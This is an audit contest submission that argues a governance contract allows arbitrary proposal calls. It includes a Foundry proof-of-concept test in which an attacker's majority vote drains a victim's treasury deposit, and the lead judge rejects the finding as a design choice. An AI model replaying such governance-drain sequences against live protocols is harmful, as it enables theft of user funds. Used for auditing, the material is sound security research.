Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Unrestricted Governance Proposals Allow Arbitrary Function Calls and Potential Malicious Actions

joesepherus

Summary

The Governance contract allows for arbitrary function calls to any contract via its Governance::propose function. This includes calling unrelated functions on any contract and executing potentially malicious actions, such as draining funds or performing unauthorized upgrades. The lack of proper validation for proposal types and the unrestricted ability to execute arbitrary functions presents a critical security vulnerability.

Vulnerability Details

  • The IGovernance::ProposalType enum is defined, but it is not used to restrict the type of actions that can be proposed. As a result, users can propose arbitrary function calls on any contract, regardless of the intended proposal type (e.g., ParameterChange, SmartContractUpgrade, TreasuryAction, etc.).

  • No access control or validation is implemented to ensure that proposals are only executed by trusted addresses or for valid purposes. This means that an attacker with sufficient voting power could propose and execute actions such as:

    • Draining funds from the treasury.

    • Performing smart contract upgrades that give them control over the system.

    • Changing protocol parameters in a malicious way.

Impact

The vulnerability allows an attacker with sufficient governance voting power to:

  • Execute arbitrary function calls on any contract.

  • Drain funds from the protocol's treasury or perform malicious actions.

  • Perform unauthorized smart contract upgrades.

  • Potentially take full control of the protocol by executing actions that modify key parameters or governance rules.

This can lead to a complete compromise of the protocol, financial loss, and loss of user trust.

PoC

contract GovernanceTest is Test {
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address[] owners;
MockVeToken mockVeToken;
Governance governance;
TimelockController timelockController;
Treasury treasury;
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
​
function setUp() public {
owners.push(owner);
vm.startPrank(owner);
mockVeToken = new MockVeToken();
timelockController = new TimelockController(
2 * 24 * 3600,
owners,
owners,
owner
);
​
governance = new Governance(
address(mockVeToken),
address(timelockController)
);
​
treasury = new Treasury(owner);
​
treasury.grantRole(MANAGER_ROLE, address(timelockController));
timelockController.grantRole(PROPOSER_ROLE, address(governance));
timelockController.grantRole(EXECUTOR_ROLE, address(governance));
mockVeToken.mint(attacker, 100_000e18);
mockVeToken.balanceOf(attacker);
mockVeToken.mint(victim, 50_000e18);
vm.stopPrank();
vm.prank(victim);
mockVeToken.approve(address(treasury), 50_000e18);
mockVeToken.balanceOf(victim);
}
​
function testGovernanceExploit() public {
uint256 attackerBalanceBefore = mockVeToken.balanceOf(attacker);
vm.prank(victim);
treasury.deposit(address(mockVeToken), 50_000e18);
​
address[] memory targets = new address[](1);
targets[0] = address(treasury);
uint256[] memory values = new uint256[](1);
values[0] = 0;
bytes[] memory calldatas = new bytes[](1);
calldatas[0] = abi.encodeWithSelector(
treasury.withdraw.selector,
address(mockVeToken),
50_000e18,
attacker
);
​
string memory description = "withdraw";
​
vm.startPrank(attacker);
governance.propose(
targets,
values,
calldatas,
description,
IGovernance.ProposalType.TreasuryAction
);
vm.warp(block.timestamp + 1 days);
governance.castVote(0, true);
vm.stopPrank();
vm.warp(block.timestamp + 7 days);
timelockController.hasRole(EXECUTOR_ROLE, owner);
timelockController.hasRole(PROPOSER_ROLE, owner);
vm.prank(owner);
governance.execute(0);
vm.warp(block.timestamp + 2 days);
governance.execute(0);
uint256 attackerBalanceAfter = mockVeToken.balanceOf(attacker);
assert(attackerBalanceAfter > attackerBalanceBefore);
assertEq(attackerBalanceAfter, attackerBalanceBefore + 50_000e18);
}
}
​

Tools Used

  • Manual review of contract code and tests.

Recommendations

  1. Strict Validation for Proposal Types:
    Implement logic to ensure that each proposal type is associated with specific valid actions:

    • ParameterChange: Only allow protocol parameter changes.

    • SmartContractUpgrade: Only allow upgrades to predefined trusted contracts.

    • TreasuryAction: Require multi-sig or additional checks for fund transfers.

    • EmissionChange: Restrict changes to emission rates based on specific criteria.

  2. Access Control:
    Ensure that proposals and executions are controlled by trusted accounts or entities. For example, implement role-based access control (RBAC) or multi-signature wallets to approve critical actions like smart contract upgrades and treasury transfers.

  3. Proposal Execution Validation:
    Before executing a proposal, validate that the proposed action is legitimate. For example, verify that contract upgrade proposals point to trusted addresses, and that treasury transfers go to verified accounts.

  4. Auditing and Monitoring:
    Implement a mechanism to log and monitor governance proposals and their execution in real-time, to quickly detect and respond to malicious activity.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.